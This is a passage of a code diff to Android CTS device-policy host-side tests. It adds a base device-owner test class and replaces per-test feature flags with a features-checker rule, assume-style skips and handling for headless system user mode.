+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.log.LogUtil.CLog;
+
+/**
+ * Base class for {@link DeviceOwnerTest} and {@link HeadlessSystemUserDeviceOwnerTest} - it
+ * provides the common infra, but doesn't have any test method.
+ */
+abstract class BaseDeviceOwnerTest extends BaseDevicePolicyTest {
+
+    protected static final String DEVICE_OWNER_PKG = "com.android.cts.deviceowner";
+    protected static final String DEVICE_OWNER_APK = "CtsDeviceOwnerApp.apk";
+
+    protected static final String ADMIN_RECEIVER_TEST_CLASS =
+            DEVICE_OWNER_PKG + ".BasicAdminReceiver";
+    protected static final String DEVICE_OWNER_COMPONENT = DEVICE_OWNER_PKG + "/"
+            + ADMIN_RECEIVER_TEST_CLASS;
+
+    private boolean mDeviceOwnerSet;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
+        mDeviceOwnerSet = setDeviceOwner(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId,
+                /*expectFailure*/ false);
+
+        if (!mDeviceOwnerSet) {
+            removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId);
+            getDevice().uninstallPackage(DEVICE_OWNER_PKG);
+            fail("Failed to set device owner for user " + mDeviceOwnerUserId);
+        }
+
+        if (isHeadlessSystemUserMode()) {
+            affiliateUsers(DEVICE_OWNER_PKG, mDeviceOwnerUserId, mPrimaryUserId);
+
+            // TODO(b/176993670): INTERACT_ACROSS_USERS is needd by DevicePolicyManagerWrapper to
+            // get the current user; the permission is available on mDeviceOwnerUserId because it
+            // was installed with -g, but not on mPrimaryUserId as the app is intalled by code
+            // (DPMS.manageUserUnchecked(), which don't grant it (as this is a privileged permission
+            // that's not available to 3rd party apps). If we get rid of DevicePolicyManagerWrapper,
+            // we won't need to grant it anymore.
+            executeShellCommand("pm grant --user %d %s android.permission.INTERACT_ACROSS_USERS",
+                    mPrimaryUserId, DEVICE_OWNER_PKG);
+        }
+
+        // Enable the notification listener
+        executeShellCommand("cmd notification allow_listener com.android.cts."
+                + "deviceowner/com.android.cts.deviceowner.NotificationListener");
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (mDeviceOwnerSet && !removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId)) {
+            // Don't fail as it could hide the real failure from the test method
+            CLog.e("Failed to remove device owner for user " + mDeviceOwnerUserId);
+        }
+        getDevice().uninstallPackage(DEVICE_OWNER_PKG);
+
+        super.tearDown();
+    }
+
+    void affiliateUsers(String deviceAdminPkg, int userId1, int userId2) throws Exception {
+        CLog.d("Affiliating users %d and %d on admin package %s", userId1, userId2, deviceAdminPkg);
+        runDeviceTestsAsUser(
+                deviceAdminPkg, ".AffiliationTest", "testSetAffiliationId1", userId1);
+        runDeviceTestsAsUser(
+                deviceAdminPkg, ".AffiliationTest", "testSetAffiliationId1", userId2);
+    }
+
+    protected final void executeDeviceOwnerTest(String testClassName) throws Exception {
+        String testClass = DEVICE_OWNER_PKG + "." + testClassName;
+        runDeviceTestsAsUser(DEVICE_OWNER_PKG, testClass, mPrimaryUserId);
+    }
+
+    protected final void executeDeviceTestMethod(String className, String testName)
+            throws Exception {
+        runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName,
+                /* deviceOwnerUserId */ mPrimaryUserId);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 29a1ea9..8631b92 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -16,17 +16,26 @@
 
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.role.RoleProto;
+import com.android.role.RoleServiceDumpProto;
+import com.android.role.RoleUserStateProto;
 import com.android.tradefed.config.Option;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -34,7 +43,9 @@
 import com.google.common.io.ByteStreams;
 
 import org.junit.After;
+import org.junit.AssumptionViolatedException;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.runner.RunWith;
 
 import java.io.File;
@@ -65,6 +76,20 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
 
+    private static final String FEATURE_BACKUP = "android.software.backup";
+    private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
+    private static final String FEATURE_CAMERA = "android.hardware.camera";
+    private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
+    private static final String FEATURE_FBE = "android.software.file_based_encryption";
+    private static final String FEATURE_LEANBACK = "android.software.leanback";
+    private static final String FEATURE_NFC = "android.hardware.nfc";
+    private static final String FEATURE_NFC_BEAM = "android.software.nfc.beam";
+
+    private static final String FEATURE_PRINT = "android.software.print";
+    private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+    private static final String FEATURE_SECURE_LOCK_SCREEN = "android.software.secure_lock_screen";
+    private static final String FEATURE_WIFI = "android.hardware.wifi";
+
     //The maximum time to wait for user to be unlocked.
     private static final long USER_UNLOCK_TIMEOUT_SEC = 30;
     private static final String USER_STATE_UNLOCKED = "RUNNING_UNLOCKED";
@@ -146,52 +171,38 @@
     /** Packages installed as part of the tests */
     private Set<String> mFixedPackages;
 
-    /** Whether DPM is supported. */
-    protected boolean mHasFeature;
+    protected int mDeviceOwnerUserId;
     protected int mPrimaryUserId;
 
     /** Record the initial user ID. */
     protected int mInitialUserId;
 
     /** Whether multi-user is supported. */
-    protected boolean mSupportsMultiUser;
-
-    /** Whether managed profiles are supported. */
-    protected boolean mHasManagedUserFeature;
-
-    /** Whether file-based encryption (FBE) is supported. */
-    protected boolean mSupportsFbe;
-
-    /** Whether the device has a lock screen.*/
-    protected boolean mHasSecureLockScreen;
-
-    /** Whether the device supports telephony. */
-    protected boolean mHasTelephony;
-    protected boolean mHasConnectionService;
+    private boolean mSupportsMultiUser;
 
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
 
     private static final String VERIFY_CREDENTIAL_CONFIRMATION = "Lock credential verified";
 
+    @Rule
+    public final DeviceAdminFeaturesCheckerRule mFeaturesCheckerRule =
+            new DeviceAdminFeaturesCheckerRule(this);
+
     @Before
     public void setUp() throws Exception {
         assertNotNull(getBuild());  // ensure build has been set before test is run.
-        ensurePackageManagerReady();
-        mHasFeature = getDevice().getApiLevel() >= 21; /* Build.VERSION_CODES.L */
+
         if (!mSkipDeviceAdminFeatureCheck) {
-            mHasFeature = mHasFeature && hasDeviceFeature("android.software.device_admin");
+            // TODO(b/177965931): STOPSHIP must integrate mSkipDeviceAdminFeatureCheck into
+            // DeviceAdminFeaturesCheckerRul
         }
+
         mSupportsMultiUser = getMaxNumberOfUsersSupported() > 1;
-        mHasManagedUserFeature = hasDeviceFeature("android.software.managed_users");
-        mSupportsFbe = hasDeviceFeature("android.software.file_based_encryption");
-        mHasTelephony = hasDeviceFeature("android.hardware.telephony");
-        mHasConnectionService = hasDeviceFeature("android.software.connectionservice");
         mFixedPackages = getDevice().getInstalledPackageNames();
         mBuildHelper = new CompatibilityBuildHelper(getBuild());
 
-        mHasSecureLockScreen = hasDeviceFeature("android.software.secure_lock_screen");
-        if (mHasSecureLockScreen) {
+        if (hasDeviceFeature(FEATURE_SECURE_LOCK_SCREEN)) {
             ensurePrimaryUserHasNoPassword();
         }
 
@@ -201,18 +212,27 @@
         getDevice().executeShellCommand("settings put global verifier_verify_adb_installs 0");
 
         mFixedUsers = new ArrayList<>();
-        mPrimaryUserId = getPrimaryUser();
 
         // Set the value of initial user ID calls in {@link #setUp}.
         if(mSupportsMultiUser) {
             mInitialUserId = getDevice().getCurrentUser();
         }
+
+        if (!isHeadlessSystemUserMode()) {
+            mDeviceOwnerUserId = mPrimaryUserId = getPrimaryUser();
+        } else {
+            // For headless system user, all tests will be executed on current user
+            // and therefore, initial user is set as primary user for test purpose.
+            mPrimaryUserId = mInitialUserId;
+            mDeviceOwnerUserId = USER_SYSTEM;
+        }
+
         mFixedUsers.add(mPrimaryUserId);
         if (mPrimaryUserId != USER_SYSTEM) {
             mFixedUsers.add(USER_SYSTEM);
         }
 
-        if (mHasFeature) {
+        if (mFeaturesCheckerRule.hasRequiredFeatures()) {
             // Switching to primary is only needed when we're testing device admin features.
             switchUser(mPrimaryUserId);
         } else {
@@ -225,7 +245,9 @@
         getDevice().executeShellCommand(" mkdir " + TEST_UPDATE_LOCATION);
 
         removeOwners();
-        switchUser(USER_SYSTEM);
+
+        switchUser(mPrimaryUserId);
+
         removeTestUsers();
         // Unlock keyguard before test
         wakeupAndDismissKeyguard();
@@ -306,12 +328,33 @@
                 result);
     }
 
+    protected void installAppIncremental(String appFileName)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        final String signatureSuffix = ".idsig";
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        final File apk = buildHelper.getTestFile(appFileName);
+        assertNotNull(apk);
+        final File idsig = buildHelper.getTestFile(appFileName + signatureSuffix);
+        assertNotNull(idsig);
+        final String remoteApkPath = TEST_UPDATE_LOCATION + "/" + apk.getName();
+        final String remoteIdsigPath = remoteApkPath + signatureSuffix;
+        assertTrue(getDevice().pushFile(apk, remoteApkPath));
+        assertTrue(getDevice().pushFile(idsig, remoteIdsigPath));
+        String installResult = getDevice().executeShellCommand(
+                "pm install-incremental -t -g " + remoteApkPath);
+        assertEquals("Success\n", installResult);
+    }
+
     protected void forceStopPackageForUser(String packageName, int userId) throws Exception {
         // TODO Move this logic to ITestDevice
         executeShellCommand("am force-stop --user " + userId + " " + packageName);
     }
 
-    protected void executeShellCommand(final String command) throws Exception {
+    protected void executeShellCommand(String commandTemplate, Object...args) throws Exception {
+        executeShellCommand(String.format(commandTemplate, args));
+    }
+
+    protected void executeShellCommand(String command) throws Exception {
         CLog.d("Starting command " + command);
         String commandOutput = getDevice().executeShellCommand(command);
         CLog.d("Output for command " + command + ": " + commandOutput);
@@ -527,16 +570,11 @@
     }
 
     /** Reboots the device and block until the boot complete flag is set. */
-    protected void rebootAndWaitUntilReady() throws DeviceNotAvailableException {
+    protected void rebootAndWaitUntilReady() throws Exception {
         getDevice().rebootUntilOnline();
         assertTrue("Device failed to boot", getDevice().waitForBootComplete(120000));
     }
 
-    /** Returns true if the system supports the split between system and primary user. */
-    protected boolean hasUserSplit() throws DeviceNotAvailableException {
-        return getBooleanSystemProperty("ro.fw.system_user_split", false);
-    }
-
     /** Returns a boolean value of the system property with the specified key. */
     protected boolean getBooleanSystemProperty(String key, boolean defaultValue)
             throws DeviceNotAvailableException {
@@ -562,14 +600,32 @@
         return listUsers().size() + numberOfUsers <= getMaxNumberOfUsersSupported();
     }
 
+    /**
+     * Throws a {@link org.junit.AssumptionViolatedException} if it's not possible to create the
+     * desired number of users.
+     */
+    protected void assumeCanCreateAdditionalUsers(int numberOfUsers)
+            throws DeviceNotAvailableException {
+        int maxUsers = getDevice().getMaxNumberOfUsersSupported();
+        assumeTrue("Tests needs at least " + numberOfUsers + " extra users, but device supports "
+                + "at most " + getMaxNumberOfUsersSupported(),
+                canCreateAdditionalUsers(numberOfUsers));
+    }
+
     /** Checks whether it is possible to start the desired number of users. */
     protected boolean canStartAdditionalUsers(int numberOfUsers)
             throws DeviceNotAvailableException {
         return listRunningUsers().size() + numberOfUsers <= getMaxNumberOfRunningUsersSupported();
     }
 
+    protected void assumeCanStartNewUser() throws DeviceNotAvailableException {
+        assumeCanCreateOneManagedUser();
+        assumeTrue("Cannot start a new user", canStartAdditionalUsers(1));
+    }
+
     protected int createUser() throws Exception {
         int userId = createUser(0);
+        CLog.i("Created user with id %d", userId);
         // TODO remove this and audit tests so they start users as necessary
         startUser(userId);
         return userId;
@@ -614,6 +670,86 @@
         fail("Expected not to be able to create a managed profile. Output was: " + commandOutput);
     }
 
+    private void assumeHasDeviceFeature(String feature) throws DeviceNotAvailableException {
+        assumeTrue("device doesn't have " + feature, hasDeviceFeature(feature));
+    }
+
+    private void assumeDoesNotHaveDeviceFeature(String feature) throws DeviceNotAvailableException {
+        assumeFalse("device has " + feature, hasDeviceFeature(feature));
+    }
+
+    /**
+     * Used by test cases to add additional checks priort to {@link #setUp()}, so that when it
+     * throws an {@link AssumptionViolatedException} exception nothing is run
+     * (even {@link #tearDown()}).
+     */
+    protected void assumeTestEnabled() throws Exception {
+    }
+
+    protected final void assumeCanCreateOneManagedUser() throws DeviceNotAvailableException {
+        assumeSupportsMultiUser();
+        assumeHasDeviceFeature(FEATURE_MANAGED_USERS);
+        assumeCanCreateAdditionalUsers(1);
+    }
+
+    protected final void assumeSupportsMultiUser() throws DeviceNotAvailableException {
+        assumeTrue("device doesn't support multiple users", mSupportsMultiUser);
+    }
+
+    protected final void assumeHasBackupFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_BACKUP);
+    }
+
+    protected final void assumeHasWifiFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_WIFI);
+    }
+
+    protected final void assumeHasTelephonyFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_TELEPHONY);
+    }
+
+    protected final void assumeHasNfcFeatures() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_NFC);
+        assumeHasDeviceFeature(FEATURE_NFC_BEAM);
+    }
+
+    protected final void assumeHasTelephonyAndConnectionServiceFeatures()
+            throws DeviceNotAvailableException {
+        assumeHasTelephonyFeature();
+        assumeHasDeviceFeature(FEATURE_CONNECTION_SERVICE);
+    }
+
+    protected final void assumeHasSecureLockScreenFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_SECURE_LOCK_SCREEN);
+    }
+
+    protected final void assumeDoesNotHaveSecureLockScreenFeature()
+            throws DeviceNotAvailableException {
+        assumeDoesNotHaveDeviceFeature(FEATURE_SECURE_LOCK_SCREEN);
+    }
+
+    protected final void assumeHasFileBasedEncryptionAndSecureLockScreenFeatures()
+            throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_FBE);
+        assumeHasSecureLockScreenFeature();
+    }
+
+    protected final void assumeHasPrintFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_PRINT);
+    }
+
+    protected final void assumeHasCameraFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_CAMERA);
+    }
+
+    protected final void assumeHasBluetoothFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_BLUETOOTH);
+    }
+
+    protected final void assumeApiLevel(int min) throws DeviceNotAvailableException {
+        assumeTrue("API level must be >=" + min, getDevice().getApiLevel() >= min);
+    }
+
     private int getUserIdFromCreateUserCommandOutput(String commandOutput) {
         // Extract the id of the new user.
         String[] tokens = commandOutput.split("\\s+");
@@ -998,27 +1134,55 @@
     }
 
     protected String getDefaultLauncher() throws Exception {
-        final String PREFIX = "Launcher: ComponentInfo{";
-        final String POSTFIX = "}";
-        final String commandOutput =
-                getDevice().executeShellCommand("cmd shortcut get-default-launcher");
-        if (commandOutput == null) {
-            return null;
-        }
-        String[] lines = commandOutput.split("\\r?\\n");
-        for (String line : lines) {
-            if (line.startsWith(PREFIX) && line.endsWith(POSTFIX)) {
-                return line.substring(PREFIX.length(), line.length() - POSTFIX.length());
+        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice().executeShellCommand("dumpsys role --proto", receiver);
+
+        RoleUserStateProto roleState = null;
+        final RoleServiceDumpProto dumpProto =
+                RoleServiceDumpProto.parser().parseFrom(receiver.getOutput());
+        for (RoleUserStateProto userState : dumpProto.getUserStatesList()) {
+            if (getDevice().getCurrentUser() == userState.getUserId()) {
+                roleState = userState;
+                break;
             }
         }
+
+        if (roleState != null) {
+            final List<RoleProto> roles = roleState.getRolesList();
+            // Iterate through the roles until we find the Home role
+            for (RoleProto roleProto : roles) {
+                if ("android.app.role.HOME".equals(roleProto.getName())) {
+                    assertEquals(1, roleProto.getHoldersList().size());
+                    return roleProto.getHoldersList().get(0);
+                }
+            }
+        }
+
         throw new Exception("Default launcher not found");
     }
 
-    boolean isDeviceAb() throws DeviceNotAvailableException {
+    void assumeIsDeviceAb() throws DeviceNotAvailableException {
         final String result = getDevice().executeShellCommand("getprop ro.build.ab_update").trim();
+        assumeTrue("not device AB", "true".equalsIgnoreCase(result));
+    }
+
+    // TODO (b/174775905) remove after exposing the check from ITestDevice.
+    boolean isHeadlessSystemUserMode() throws DeviceNotAvailableException {
+        return isHeadlessSystemUserMode(getDevice());
+    }
+
+    // TODO (b/174775905) remove after exposing the check from ITestDevice.
+    public static boolean isHeadlessSystemUserMode(ITestDevice device)
+            throws DeviceNotAvailableException {
+        final String result = device
+                .executeShellCommand("getprop ro.fw.mu.headless_system_user").trim();
         return "true".equalsIgnoreCase(result);
     }
 
+    boolean isTv() throws DeviceNotAvailableException {
+        return hasDeviceFeature(FEATURE_LEANBACK);
+    }
+
     void pushUpdateFileToDevice(String fileName)
             throws IOException, DeviceNotAvailableException {
         File file = File.createTempFile(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
index f9817ec..4d0b88b 100755
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
@@ -16,11 +16,14 @@
 
 package com.android.cts.devicepolicy;
 
-import static org.junit.Assert.fail;
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil;
 
+// We need multi user to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public abstract class BaseManagedProfileTest extends BaseDevicePolicyTest {
     protected static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
     protected static final String INTENT_SENDER_PKG = "com.android.cts.intent.sender";
@@ -46,18 +49,13 @@
     protected int mParentUserId;
     // ID of the profile we'll create. This will always be a profile of the parent.
     protected int mProfileUserId;
-    protected boolean mHasNfcFeature;
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
 
-        // We need multi user to be supported in order to create a profile of the user owner.
-        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
-        mHasNfcFeature = hasDeviceFeature("android.hardware.nfc")
-                && hasDeviceFeature("android.sofware.nfc.beam");
+        if (mFeaturesCheckerRule.hasRequiredFeatures()) {
 
-        if (mHasFeature) {
             removeTestUsers();
             mParentUserId = mPrimaryUserId;
             mProfileUserId = createManagedProfile(mParentUserId);
@@ -75,19 +73,18 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            removeUser(mProfileUserId);
-            getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
-            getDevice().uninstallPackage(INTENT_SENDER_PKG);
-            getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
-            getDevice().uninstallPackage(NOTIFICATION_PKG);
-            getDevice().uninstallPackage(TEST_APP_1_APK);
-            getDevice().uninstallPackage(TEST_APP_2_APK);
-            getDevice().uninstallPackage(TEST_APP_3_APK);
-            getDevice().uninstallPackage(TEST_APP_4_APK);
-            getDevice().uninstallPackage(SHARING_APP_1_APK);
-            getDevice().uninstallPackage(SHARING_APP_2_APK);
-        }
+        removeUser(mProfileUserId);
+        getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
+        getDevice().uninstallPackage(INTENT_SENDER_PKG);
+        getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
+        getDevice().uninstallPackage(NOTIFICATION_PKG);
+        getDevice().uninstallPackage(TEST_APP_1_APK);
+        getDevice().uninstallPackage(TEST_APP_2_APK);
+        getDevice().uninstallPackage(TEST_APP_3_APK);
+        getDevice().uninstallPackage(TEST_APP_4_APK);
+        getDevice().uninstallPackage(SHARING_APP_1_APK);
+        getDevice().uninstallPackage(SHARING_APP_2_APK);
+
         super.tearDown();
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
index ddaf864..2220d80 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -5,7 +5,6 @@
 import static android.stats.devicepolicy.EventId.START_ACTIVITY_BY_INTENT_VALUE;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -240,7 +239,7 @@
     @LargeTest
     @Test
     public void testStartMainActivity_logged() throws Exception {
-        if (!mHasManagedUserFeature || !isStatsdEnabled(getDevice())) {
+        if (!mHasManagedUserFeature) {
             return;
         }
         assertMetricsLogged(
@@ -261,7 +260,7 @@
     @LargeTest
     @Test
     public void testGetTargetUserProfiles_logged() throws Exception {
-        if (!mHasManagedUserFeature || !isStatsdEnabled(getDevice())) {
+        if (!mHasManagedUserFeature) {
             return;
         }
         assertMetricsLogged(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsPermissionHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsPermissionHostSideTest.java
index 24127de..dc65e75 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsPermissionHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsPermissionHostSideTest.java
@@ -16,7 +16,9 @@
 
 package com.android.cts.devicepolicy;
 
-import static org.junit.Assume.assumeTrue;
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -34,6 +36,7 @@
  * The rest of the tests for {@link android.content.pm.crossprofile.CrossProfileApps}
  * can be found in {@link CrossProfileAppsHostSideTest}.
  */
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class CrossProfileAppsPermissionHostSideTest extends BaseDevicePolicyTest {
     private static final String TEST_WITH_REQUESTED_PERMISSION_PACKAGE =
             "com.android.cts.crossprofileappstest";
@@ -58,11 +61,15 @@
 
     private int mProfileId;
 
+    @Override
+    protected void assumeTestEnabled() throws Exception {
+        assumeSupportsMultiUser();
+    }
+
     @Before
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        assumeTrue(mSupportsMultiUser && mHasManagedUserFeature);
     }
 
     @Test
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
index 184cc9b..ce1bd24 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
@@ -21,6 +21,8 @@
 
 import android.platform.test.annotations.FlakyTest;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.TemporaryIgnoreOnHeadlessSystemUserMode;
+
 import org.junit.Test;
 
 /**
@@ -46,80 +48,72 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            getDevice().uninstallPackage(DEVICE_OWNER_PKG);
-            getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
-        }
+        getDevice().uninstallPackage(DEVICE_OWNER_PKG);
+        getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
 
         super.tearDown();
     }
 
     @Test
     public void testOwnerChangedBroadcast() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
+        installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
         try {
-            installAppAsUser(INTENT_RECEIVER_APK, mPrimaryUserId);
+            installAppAsUser(INTENT_RECEIVER_APK, mDeviceOwnerUserId);
 
             String testClass = INTENT_RECEIVER_PKG + ".OwnerChangedBroadcastTest";
 
             // Running this test also gets the intent receiver app out of the stopped state, so it
             // can receive broadcast intents.
             runDeviceTestsAsUser(INTENT_RECEIVER_PKG, testClass,
-                    "testOwnerChangedBroadcastNotReceived", mPrimaryUserId);
+                    "testOwnerChangedBroadcastNotReceived", mDeviceOwnerUserId);
 
             // Setting the device owner should send the owner changed broadcast.
-            assertTrue(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId,
+            assertTrue(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId,
                     /*expectFailure*/ false));
 
             // Wait broadcast idle to ensure the owner changed broadcast has been sent.
             waitForBroadcastIdle();
 
             runDeviceTestsAsUser(INTENT_RECEIVER_PKG, testClass,
-                    "testOwnerChangedBroadcastReceived", mPrimaryUserId);
+                    "testOwnerChangedBroadcastReceived", mDeviceOwnerUserId);
         } finally {
             getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
             assertTrue("Failed to remove device owner.",
-                    removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId));
+                    removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId));
         }
     }
 
     @Test
     public void testCannotSetDeviceOwnerWhenSecondaryUserPresent() throws Exception {
-        if (!mHasFeature || getMaxNumberOfUsersSupported() < 2) {
-            return;
-        }
+        assumeSupportsMultiUser();
         int userId = -1;
-        installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
+        installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
         try {
             userId = createUser();
-            assertFalse(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId,
+            assertFalse(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId,
                     /*expectFailure*/ true));
         } finally {
             removeUser(userId);
             // make sure we clean up in case we succeeded in setting the device owner
-            removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId);
+            removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId);
         }
     }
 
+    // TODO(b/174158829): this test is currently failing on headless system mode
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     @FlakyTest
     @Test
     public void testCannotSetDeviceOwnerWhenAccountPresent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mPrimaryUserId);
-        installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
+        installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
         try {
             runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountUtilsTest",
                     "testAddAccountExplicitly", mPrimaryUserId);
-            assertFalse(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId,
+            assertFalse(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId,
                     /*expectFailure*/ true));
         } finally {
             // make sure we clean up in case we succeeded in setting the device owner
-            removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId);
+            removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId);
             runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountUtilsTest",
                     "testRemoveAccountExplicitly", mPrimaryUserId);
         }
